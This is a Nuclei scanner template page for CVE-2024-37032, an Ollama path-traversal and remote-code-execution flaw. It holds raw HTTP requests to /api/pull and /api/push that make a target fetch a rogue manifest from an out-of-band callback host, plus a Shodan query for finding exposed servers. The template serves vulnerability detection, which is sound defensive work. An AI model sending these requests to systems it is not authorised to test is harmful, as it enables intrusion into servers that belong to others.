Skip to content

Ollama - Remote Code Execution

ID: CVE-2024-37032

Severity: critical

Author: kaks3c

Tags: cve,cve2024,ollama,rce

Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.

id: CVE-2024-37032
info:
name: Ollama - Remote Code Execution
author: kaks3c
severity: critical
description: |
Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
reference:
- https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
- https://nvd.nist.gov/vuln/detail/CVE-2024-37032
- https://github.com/Bi0x/CVE-2024-37032
classification:
cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ollama
product: ollama
shodan-query: ollama
tags: cve,cve2024,ollama,rce
http:
- raw:
- |
POST /api/pull HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
- |
POST /api/push HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'http')
- contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
condition: and
# digest: 4a0a00473045022100ec4d118583821e84f200983bf59d8bb1995be162864588d057e03a7002f10a1f0220143658f8527a10308e2c0d1d92b1887639e6b7629bd7c25577a21d40ecff1e77:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-37032.yaml"

View on Github